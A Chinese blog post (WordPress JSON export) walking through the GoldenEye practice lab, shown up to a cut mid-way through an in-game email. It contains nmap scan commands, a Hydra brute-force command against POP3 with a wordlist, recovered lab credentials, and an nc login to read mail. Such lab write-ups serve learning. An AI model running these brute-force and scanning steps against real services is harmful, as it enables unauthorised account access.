{"id":23,"date":"2024-11-20T10:25:05","date_gmt":"2024-11-20T02:25:05","guid":{"rendered":"http:\/\/jieyekang.com\/?p=23"},"modified":"2024-11-20T10:57:01","modified_gmt":"2024-11-20T02:57:01","slug":"%e9%9d%b6%e5%9c%ba%e5%a4%8d%e7%8e%b0%e7%b3%bb%e5%88%97%e3%80%90glodeneye%e3%80%91","status":"publish","type":"post","link":"http:\/\/jieyekang.com\/index.php\/2024\/11\/20\/%e9%9d%b6%e5%9c%ba%e5%a4%8d%e7%8e%b0%e7%b3%bb%e5%88%97%e3%80%90glodeneye%e3%80%91\/","title":{"rendered":"\u9776\u573a\u590d\u73b0\u7cfb\u5217\u3010GlodenEye\u3011"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\">Nmap\u4fe1\u606f\u6536\u96c6<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">ifconfig\u67e5\u770b\u672c\u5730ip<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"638\" height=\"321\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069446-c61aa252-1fcc-4d19-826d-e8d631a2ccff.png\" alt=\"\" class=\"wp-image-28\" srcset=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069446-c61aa252-1fcc-4d19-826d-e8d631a2ccff.png 638w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069446-c61aa252-1fcc-4d19-826d-e8d631a2ccff-300x151.png 300w\" sizes=\"auto, (max-width: 638px) 100vw, 638px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u67e5\u770b192.168.11.0\u7684\u6240\u6709\u8bbe\u5907<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"622\" height=\"637\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069450-de89573d-b247-4922-bf02-0dbab7499941.png\" alt=\"\" class=\"wp-image-60\" srcset=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069450-de89573d-b247-4922-bf02-0dbab7499941.png 622w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069450-de89573d-b247-4922-bf02-0dbab7499941-293x300.png 293w\" sizes=\"auto, (max-width: 622px) 100vw, 622px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u53d1\u73b0192.168.11.131\u5f00\u653e\u4e8680\u7aef\u53e3\u548c25\u7aef\u53e3<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u77e5\u8bc6\u70b9\uff08\u7aef\u53e3\uff09<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f00\u653e80\u7aef\u53e3\u4ee3\u8868\u5b58\u5728\u53ef\u8bbf\u95ee\u7684web\u754c\u9762\uff0c\u5f00\u653e25\u7aef\u53e3\u4ee3\u8868\u5f00\u653e\u90ae\u4ef6\u4f20\u8f93<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8bbf\u95ee192.168.11.131<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1103\" height=\"428\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-2a183f01-bef1-4f6f-bcaa-7e50a6b5b195.png\" alt=\"\" class=\"wp-image-57\" srcset=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-2a183f01-bef1-4f6f-bcaa-7e50a6b5b195.png 1103w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-2a183f01-bef1-4f6f-bcaa-7e50a6b5b195-300x116.png 300w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-2a183f01-bef1-4f6f-bcaa-7e50a6b5b195-1024x397.png 1024w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-2a183f01-bef1-4f6f-bcaa-7e50a6b5b195-768x298.png 768w\" sizes=\"auto, (max-width: 1103px) 100vw, 1103px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u63d0\u793a\u6211\u4eec\u8fdb\u5165\/sev-home\/\u76ee\u5f55\u91cc\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u67e5\u770b\u7f51\u9875192.168.11.131:80\u7684\u6e90\u7801\u53d1\u73b0<a href=\"http:\/\/192.168.11.131\/terminal.js\" target=\"_blank\"  rel=\"nofollow\" >http:\/\/192.168.11.131\/terminal.js<\/a>\uff0c\u8fdb\u5165\u540e\u53d1\u73b0\u6ce8\u91ca<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"688\" height=\"165\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-ef9cd910-b394-40e8-940f-c9ba1628e97b.png\" alt=\"\" class=\"wp-image-40\" srcset=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-ef9cd910-b394-40e8-940f-c9ba1628e97b.png 688w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-ef9cd910-b394-40e8-940f-c9ba1628e97b-300x72.png 300w\" sizes=\"auto, (max-width: 688px) 100vw, 688px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u731c\u6d4b\u5b57\u7b26\u4e32\u88ab\u52a0\u5bc6\u4e86InvincibleHack3r<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u5f97\u5230\u7684\u91cd\u8981\u4fe1\u606f\uff08\u7f51\u7ad9\u8d26\u53f7\uff09<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u83b7\u5f97\u7528\u6237\u540d\uff1aBoris\u3001Natalya<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8d26\u53f7\u5bc6\u7801\uff1aInvincibleHack3r<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6211\u4eec\u8fdb\u5165sev-home\u76ee\u5f55\uff0c\u53d1\u73b0\u5f39\u7a97\uff0c\u63d0\u793a\u6211\u4eec\u9700\u8981\u7528\u6237\u540d\u548c\u5bc6\u7801\uff0c\u7531\u4e8e\u53ea\u77e5\u9053\u4e00\u4e2a\u5bc6\u7801\uff0c\u7ed3\u679c\u5c1d\u8bd5\u540e\u53d1\u73b0\u6700\u7ec8\u7528\u6237\u540d\u548c\u5bc6\u7801\u4e3a<strong>boris\/InvincibleHack3r<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"487\" height=\"307\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-961117e0-49b4-44ca-aea9-de5ee0d74c71.png\" alt=\"\" class=\"wp-image-41\" srcset=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-961117e0-49b4-44ca-aea9-de5ee0d74c71.png 487w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-961117e0-49b4-44ca-aea9-de5ee0d74c71-300x189.png 300w\" sizes=\"auto, (max-width: 487px) 100vw, 487px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u767b\u5165\u6210\u529f<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1281\" height=\"483\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-eab0a5fa-f41b-46d6-8b67-e9a15658ae00.png\" alt=\"\" class=\"wp-image-45\" srcset=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-eab0a5fa-f41b-46d6-8b67-e9a15658ae00.png 1281w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-eab0a5fa-f41b-46d6-8b67-e9a15658ae00-300x113.png 300w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-eab0a5fa-f41b-46d6-8b67-e9a15658ae00-1024x386.png 1024w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-eab0a5fa-f41b-46d6-8b67-e9a15658ae00-768x290.png 768w\" sizes=\"auto, (max-width: 1281px) 100vw, 1281px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u53d1\u73b0\u6587\u5b57<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GoldenEye is a Top Secret Soviet oribtal weapons project. Since you have access you definitely hold a Top Secret clearance and qualify to be a certified GoldenEye Network Operator (GNO)\nPlease email a qualified GNO supervisor to receive the online GoldenEye Operators Training to become an Administrator of the GoldenEye system\nRemember, since security by obscurity is very effective, we have configured our pop3 service to run on a very high non-default port<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u7ffb\u8bd1\u540e<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">GoldenEye \u662f\u82cf\u8054\u7684\u4e00\u9879\u7edd\u5bc6\u6b66\u5668\u9879\u76ee\u3002\u65e2\u7136\u60a8\u6709\u8bbf\u95ee\u6743\u9650\uff0c\u90a3\u4e48\u60a8\u80af\u5b9a\u62e5\u6709\u7edd\u5bc6\u8bb8\u53ef\uff0c\u6709\u8d44\u683c\u6210\u4e3a\u7ecf\u8fc7\u8ba4\u8bc1\u7684 GoldenEye \u7f51\u7edc\u8fd0\u8425\u5546 (GNO)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8bf7\u5411\u5408\u683c\u7684 GNO \u4e3b\u7ba1\u53d1\u9001\u7535\u5b50\u90ae\u4ef6\uff0c\u63a5\u53d7\u5728\u7ebf GoldenEye \u8fd0\u8425\u5546\u57f9\u8bad\uff0c\u6210\u4e3a GoldenEye \u7cfb\u7edf\u7684\u7ba1\u7406\u5458<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8bf7\u8bb0\u4f4f\uff0c\u7531\u4e8e\u9690\u853d\u6027\u5b89\u5168\u975e\u5e38\u6709\u6548\uff0c\u6211\u4eec\u5df2\u5c06 pop3 \u670d\u52a1\u914d\u7f6e\u4e3a\u5728\u975e\u5e38\u9ad8\u7684\u975e\u9ed8\u8ba4\u7aef\u53e3\u4e0a\u8fd0\u884c<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u4ece\u4e0a\u9762\u7684\u6d88\u606f\u4e2d\uff0c\u6211\u4eec\u53ef\u4ee5\u4e86\u89e3\u5230\u67d0\u4e2a\u975e\u9ed8\u8ba4<\/strong><strong>\u7aef\u53e3<\/strong><strong>\u4e0a\u6b63\u5728\u8fd0\u884c\u4e00\u4e2a\u6d3b\u52a8\u7684<\/strong><strong>POP3<\/strong><strong>\u670d\u52a1<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u77e5\u8bc6\u70b9\uff08pop3\uff09<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">POP3\uff08Post Office Protocol version 3\uff09\u662f\u4e00\u79cd\u7528\u4e8e\u4ece\u8fdc\u7a0b\u670d\u52a1\u5668\u4e0a\u63a5\u6536\u7535\u5b50\u90ae\u4ef6\u7684\u534f\u8bae\u3002\u5b83\u662f\u4e92\u8054\u7f51\u6807\u51c6\u534f\u8bae\u4e4b\u4e00\uff0c\u5b9a\u4e49\u4e86\u5982\u4f55\u8ba9\u5ba2\u6237\u7aef\u4ece\u90ae\u4ef6\u670d\u52a1\u5668\u4e0b\u8f7d\u90ae\u4ef6\u3002POP3\u534f\u8bae\u7531RFC 1939\u5b9a\u4e49\uff0c\u4e3b\u8981\u7528\u4e8e\u5b9e\u73b0\u4ece\u90ae\u4ef6\u670d\u52a1\u5668\u83b7\u53d6\u90ae\u4ef6\u5e76\u5c06\u5176\u5b58\u50a8\u5230\u672c\u5730\u8ba1\u7b97\u673a\u4e0a\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">POP3\u7684\u5de5\u4f5c\u539f\u7406<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">POP3\u662f\u4e00\u4e2a\u7b80\u5355\u7684\u534f\u8bae\uff0c\u901a\u5e38\u5728TCP\u7aef\u53e3110\u4e0a\u8fd0\u884c\u3002\u5b83\u7684\u5de5\u4f5c\u6d41\u7a0b\u5927\u81f4\u5982\u4e0b\uff1a<\/p>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li><strong>\u8fde\u63a5\u5230\u90ae\u4ef6\u670d\u52a1\u5668<\/strong>\uff1a\u5ba2\u6237\u7aef\uff08\u5982Outlook\u3001Thunderbird\u7b49\u90ae\u4ef6\u5ba2\u6237\u7aef\u8f6f\u4ef6\uff09\u8fde\u63a5\u5230\u90ae\u4ef6\u670d\u52a1\u5668\uff0c\u5e76\u8fdb\u884c\u7528\u6237\u8eab\u4efd\u9a8c\u8bc1\u3002<\/li>\n\n\n\n<li><strong>\u4e0b\u8f7d\u90ae\u4ef6<\/strong>\uff1a\u5ba2\u6237\u7aef\u4ece\u670d\u52a1\u5668\u4e0a\u4e0b\u8f7d\u6240\u6709\u65b0\u7684\u90ae\u4ef6\u3002\u4e0b\u8f7d\u540e\u7684\u90ae\u4ef6\u901a\u5e38\u4f1a\u4ece\u670d\u52a1\u5668\u4e0a\u5220\u9664\uff0c\u867d\u7136\u6709\u4e9b\u5ba2\u6237\u7aef\u53ef\u4ee5\u914d\u7f6e\u4e3a\u4fdd\u7559\u670d\u52a1\u5668\u4e0a\u7684\u90ae\u4ef6\u526f\u672c\u3002<\/li>\n\n\n\n<li><strong>\u65ad\u5f00\u8fde\u63a5<\/strong>\uff1a\u4e00\u65e6\u6240\u6709\u90ae\u4ef6\u4e0b\u8f7d\u5b8c\u6210\uff0c\u5ba2\u6237\u7aef\u4e0e\u670d\u52a1\u5668\u65ad\u5f00\u8fde\u63a5\u3002<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">POP3\u7684\u4e3b\u8981\u547d\u4ee4<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>USER<\/strong>\uff1a\u6307\u5b9a\u7528\u6237\u540d\u3002<\/li>\n\n\n\n<li><strong>PASS<\/strong>\uff1a\u6307\u5b9a\u7528\u6237\u5bc6\u7801\u3002<\/li>\n\n\n\n<li><strong>STAT<\/strong>\uff1a\u83b7\u53d6\u90ae\u7bb1\u7edf\u8ba1\u4fe1\u606f\uff0c\u5982\u90ae\u4ef6\u6570\u91cf\u548c\u603b\u5927\u5c0f\u3002<\/li>\n\n\n\n<li><strong>LIST<\/strong>\uff1a\u5217\u51fa\u6240\u6709\u90ae\u4ef6\u7684\u552f\u4e00\u6807\u8bc6\u7b26\u548c\u5927\u5c0f\u3002<\/li>\n\n\n\n<li><strong>RETR<\/strong>\uff1a\u68c0\u7d22\u6307\u5b9a\u90ae\u4ef6\u3002<\/li>\n\n\n\n<li><strong>DELE<\/strong>\uff1a\u5220\u9664\u6307\u5b9a\u90ae\u4ef6\u3002<\/li>\n\n\n\n<li><strong>QUIT<\/strong>\uff1a\u65ad\u5f00\u8fde\u63a5\u5e76\u5220\u9664\u6807\u8bb0\u4e3a\u5220\u9664\u7684\u90ae\u4ef6\u3002<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">POP3\u7684\u4f18\u7f3a\u70b9<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">\u4f18\u70b9<\/h4>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li><strong>\u7b80\u5355\u6027<\/strong>\uff1a\u534f\u8bae\u7b80\u5355\uff0c\u6613\u4e8e\u5b9e\u73b0\u548c\u914d\u7f6e\u3002<\/li>\n\n\n\n<li><strong>\u79bb\u7ebf\u8bbf\u95ee<\/strong>\uff1a\u90ae\u4ef6\u4e0b\u8f7d\u5230\u672c\u5730\u540e\uff0c\u53ef\u4ee5\u79bb\u7ebf\u9605\u8bfb\u548c\u7ba1\u7406\u90ae\u4ef6\u3002<\/li>\n<\/ol>\n\n\n\n<h4 class=\"wp-block-heading\">\u7f3a\u70b9<\/h4>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li><strong>\u90ae\u4ef6\u7ba1\u7406\u4e0d\u4fbf<\/strong>\uff1a\u90ae\u4ef6\u901a\u5e38\u4f1a\u5728\u4e0b\u8f7d\u540e\u4ece\u670d\u52a1\u5668\u5220\u9664\uff0c\u4e0d\u9002\u5408\u5728\u591a\u4e2a\u8bbe\u5907\u4e0a\u540c\u6b65\u90ae\u4ef6\u3002<\/li>\n\n\n\n<li><strong>\u6709\u9650\u7684\u529f\u80fd<\/strong>\uff1a\u76f8\u6bd4IMAP\uff08Internet Message Access Protocol\uff09\uff0cPOP3\u529f\u80fd\u8f83\u5c11\uff0c\u4e0d\u80fd\u76f4\u63a5\u5728\u670d\u52a1\u5668\u4e0a\u7ba1\u7406\u90ae\u4ef6\u6587\u4ef6\u5939\u3002<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">\u4f7f\u7528\u573a\u666f<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">POP3\u9002\u7528\u4e8e\u53ea\u5728\u4e00\u4e2a\u8bbe\u5907\u4e0a\u63a5\u6536\u548c\u7ba1\u7406\u90ae\u4ef6\u7684\u7528\u6237\uff0c\u4f8b\u5982\u53ea\u7528\u4e00\u4e2a\u53f0\u5f0f\u7535\u8111\u6765\u5904\u7406\u90ae\u4ef6\u3002\u5982\u679c\u7528\u6237\u9700\u8981\u5728\u591a\u4e2a\u8bbe\u5907\uff08\u5982\u624b\u673a\u3001\u5e73\u677f\u3001\u7b14\u8bb0\u672c\u7535\u8111\uff09\u4e0a\u540c\u6b65\u548c\u7ba1\u7406\u90ae\u4ef6\uff0c\u5219IMAP\u4f1a\u662f\u66f4\u597d\u7684\u9009\u62e9\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">POP3\u4e0eIMAP\u7684\u6bd4\u8f83<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>POP3<\/strong>\uff1a\u4e0b\u8f7d\u90ae\u4ef6\u540e\u901a\u5e38\u4f1a\u4ece\u670d\u52a1\u5668\u5220\u9664\uff0c\u9002\u5408\u5355\u8bbe\u5907\u4f7f\u7528\u3002<\/li>\n\n\n\n<li><strong>IMAP<\/strong>\uff1a\u5141\u8bb8\u90ae\u4ef6\u4fdd\u7559\u5728\u670d\u52a1\u5668\u4e0a\uff0c\u5e76\u5728\u591a\u4e2a\u8bbe\u5907\u4e0a\u540c\u6b65\uff0c\u9002\u5408\u591a\u8bbe\u5907\u4f7f\u7528\u3002<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u8fdb\u884cnmap\u5168<\/strong><strong>\u7aef\u53e3<\/strong><strong>\u626b\u63cf\uff1anmap -p- 192.168.11.131<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"631\" height=\"231\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-a83a6024-d934-4d75-8c1d-143105dc1954.png\" alt=\"\" class=\"wp-image-44\" srcset=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-a83a6024-d934-4d75-8c1d-143105dc1954.png 631w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-a83a6024-d934-4d75-8c1d-143105dc1954-300x110.png 300w\" sizes=\"auto, (max-width: 631px) 100vw, 631px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u53d1\u73b055006\uff0c55007\u4e24\u4e2a\u5f00\u653e\u7684<\/strong><strong>\u7aef\u53e3<\/strong><strong>\uff0c\u626b\u63cf\u7aef\u53e3\u5f00\u542f\u7684\u670d\u52a1\u8be6\u7ec6\u4fe1\u606f\uff1anmap -sS -sV -T5 -A -p55006,55007 192.168.11.131<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u77e5\u8bc6\u70b9\uff08Nmap\uff09<\/h2>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td>-T4-A-sS-sV<\/td><td>\u9488\u5bf9TCP\u7aef\u53e3\u7981\u6b62\u52a8\u6001\u626b\u63cf\u5ef6\u8fdf\u8d85\u8fc710ms\u5168\u9762\u7cfb\u7edf\u68c0\u6d4b\u3001\u542f\u7528\u811a\u672c\u68c0\u6d4b\u3001\u626b\u63cf\u7b49\u534a\u5f00\u626b\u63cf\uff0c\u5f88\u5c11\u6709\u7cfb\u7edf\u80fd\u628a\u5b83\u8bb0\u5165\u7cfb\u7edf\u65e5\u5fd7\u3002\u4e0d\u8fc7\uff0c\u9700\u8981Root\u6743\u9650\u3002\u63a2\u6d4b\u7aef\u53e3\u670d\u52a1\u7248\u672c<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"623\" height=\"634\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-6b6d65e5-61a7-461e-9b4b-62ff8b378571.png\" alt=\"\" class=\"wp-image-43\" srcset=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-6b6d65e5-61a7-461e-9b4b-62ff8b378571.png 623w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-6b6d65e5-61a7-461e-9b4b-62ff8b378571-295x300.png 295w\" sizes=\"auto, (max-width: 623px) 100vw, 623px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u6bb5\u4fe1\u606f\u770b\u51fa\u8fd9\u4e24\u4e2a\u7aef\u53e3\u5f00\u653e\u4e86pop3\u7684mail\u670d\u52a1\u7684\uff0c\u901a\u8fc7<a href=\"http:\/\/192.168.4.202\/terminal.js\" target=\"_blank\"  rel=\"nofollow\" >http:\/\/192.168.4.202\/terminal.js<\/a>\u9875\u9762\uff0c\u5728\u6ce8\u91ca\u4e2d\u53d1\u73b0\u4e00\u6761\u5185\u5bb9\uff0c\u6307\u51fa\u76ee\u6807\u7cfb\u7edf\u6b63\u5728\u4f7f\u7528\u9ed8\u8ba4\u5bc6\u7801<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">Hydra\u7206\u7834<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">\u63a5\u4e0b\u6765\u5c1d\u8bd5\u4f7f\u7528\u66b4\u529b\u7834\u89e3\uff0c\u5728\u4e0a\u4e00\u6b65\u4e2d\u627e\u5230\u7684\u7528\u6237\u540d\u201cboris\u201d\uff0c\u901a\u8fc7Hydra\u66b4\u529b\u7834\u89e3pop3\u670d\u52a1\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">hydra -l natalya -P \/usr\/share\/wordlists\/fasttrack.txt 192.168.11.131 -s 55007 pop3<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"627\" height=\"345\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-8b31e094-7d46-480c-83a2-842030a5af83.png\" alt=\"\" class=\"wp-image-48\" srcset=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-8b31e094-7d46-480c-83a2-842030a5af83.png 627w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-8b31e094-7d46-480c-83a2-842030a5af83-300x165.png 300w\" sizes=\"auto, (max-width: 627px) 100vw, 627px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"631\" height=\"78\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-4d759f96-de80-4a90-b255-ea7b12835cfa.png\" alt=\"\" class=\"wp-image-47\" srcset=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-4d759f96-de80-4a90-b255-ea7b12835cfa.png 631w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-4d759f96-de80-4a90-b255-ea7b12835cfa-300x37.png 300w\" sizes=\"auto, (max-width: 631px) 100vw, 631px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">\u5f97\u5230\u7684\u91cd\u8981\u4fe1\u606f\uff08\u90ae\u7bb1\u8d26\u53f7\uff09<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">login: natalya password: bird<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">login: boris password: secret1!<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">nc\u8fde\u63a5\u767b\u5165pop3<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">\u5148\u767b\u5165login: boris password: secret1!<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"644\" height=\"585\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-ad9d6a9a-17ab-46f9-beaa-b073e13f49a3.png\" alt=\"\" class=\"wp-image-53\" srcset=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-ad9d6a9a-17ab-46f9-beaa-b073e13f49a3.png 644w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069449-ad9d6a9a-17ab-46f9-beaa-b073e13f49a3-300x273.png 300w\" sizes=\"auto, (max-width: 644px) 100vw, 644px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"632\" height=\"612\" src=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-d58e86d1-7fe9-4688-b855-b9848212fc01.png\" alt=\"\" class=\"wp-image-46\" srcset=\"http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-d58e86d1-7fe9-4688-b855-b9848212fc01.png 632w, http:\/\/jieyekang.com\/wp-content\/uploads\/2024\/11\/1732069448-d58e86d1-7fe9-4688-b855-b9848212fc01-300x291.png 300w\" sizes=\"auto, (max-width: 632px) 100vw, 632px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u53d1\u73b0\u4e09\u5c01\u90ae\u4ef6<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7b2c\u4e00\u5c01<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Return-Path: &lt;root@127.0.0.1.goldeneye>\nX-Original-To: boris\nDelivered-To: boris@ubuntu\nReceived: from ok (localhost &#91;127.0.0.1])\n        by ubuntu (Postfix) with SMTP id D9E47454B1\n        for &lt;boris>; Tue, 2 Apr 1990 19:22:14 -0700 (PDT)\nMessage-Id: &lt;20180425022326.D9E47454B1@ubuntu>\nDate: Tue, 2 Apr 1990 19:22:14 -0700 (PDT)\nFrom: root@127.0.0.1.goldeneye\nBoris, this is admin. You can electronically communicate to co-workers and students here. I'm not going to scan emails for security risks because I trust you and the other admins here.\n\n\u9c8d\u91cc\u65af\uff0c\u6211\u662f\u7ba1\u7406\u5458\u3002\u60a8\u53ef\u4ee5\u5728\u8fd9\u91cc\u4e0e\u540c\u4e8b\u548c\u5b66\u751f\u8fdb\u884c\u7535\u5b50\u4ea4\u6d41\u3002\u6211\u4e0d\u4f1a\u626b\u63cf\u7535\u5b50\u90ae\u4ef6\u4ee5\u67e5\u627e\u5b89\u5168\u98ce\u9669\uff0c\u56e0\u4e3a\u6211\u4fe1\u4efb\u60a8\u548c\u8fd9\u91cc\u7684\u5176\u4ed6\u7ba1\u7406\u5458\u3002<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u7b2c\u4e8c\u5c01<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Return-Path: &lt;natalya@ubuntu&gt;\nX-Original-To: boris\nDelivered-To: boris@ubuntu\nReceived: from ok (localhost &#91;127.0.0.1])\n        by ubuntu (Postfix) with ESMTP id C3F2B454B1\n        for &lt;boris&gt;; Tue, 21 Apr 1995 19:42:35 -0700 (PDT)\nMessage-Id: &lt;20180425024249.C3F2B454B1@ubuntu&gt;\nDate: Tue, 21 Apr 1995 19:42:35 -0700 (PDT)\nFrom: natalya@ubuntu\nBoris, I can break your codes!<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u7b2c\u4e09\u5c01<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Return-Path: &lt;alec@janus.boss>\nX-Original-To: boris\nDelivered-To: boris@ubuntu\nReceived: from janus (localhost &#91;127.0.0.1])\n        by ubuntu (Postfix) with ESMTP id 4B9F4454B1\n        for &lt;boris>; Wed, 22 Apr 1995 19:51:48 -0700 (PDT)\nMessage-Id: &lt;20180425025235.4B9F4454B1@ubuntu>\nDate: Wed, 22 Apr 1995 19:51:48 -0700 (PDT)\nFrom: alec@janus.boss\nBoris,\nYour cooperation with our syndicate will pay off big. Attached are the final access codes for GoldenEye. Place them in a hidden file within the root directory of this server then remove from this email. There can only be one set of these acces codes, and we need to secure them for the final execution. If they are retrieved and captured our plan will crash and burn!\nOnce Xenia gets access to the training site and becomes familiar with the GoldenEye Terminal codes we will push to our final stages....\nPS - Keep security tight or we will be compromised.\n\n\u9c8d\u91cc\u65af\uff0c\n\u60a8\u4e0e\u6211\u4eec\u96c6\u56e2\u7684\u5408\u4f5c\u5c06\u5e26\u6765\u4e30\u539a\u7684\u56de\u62a5\u3002\u9644\u4ef6\u662f GoldenEye 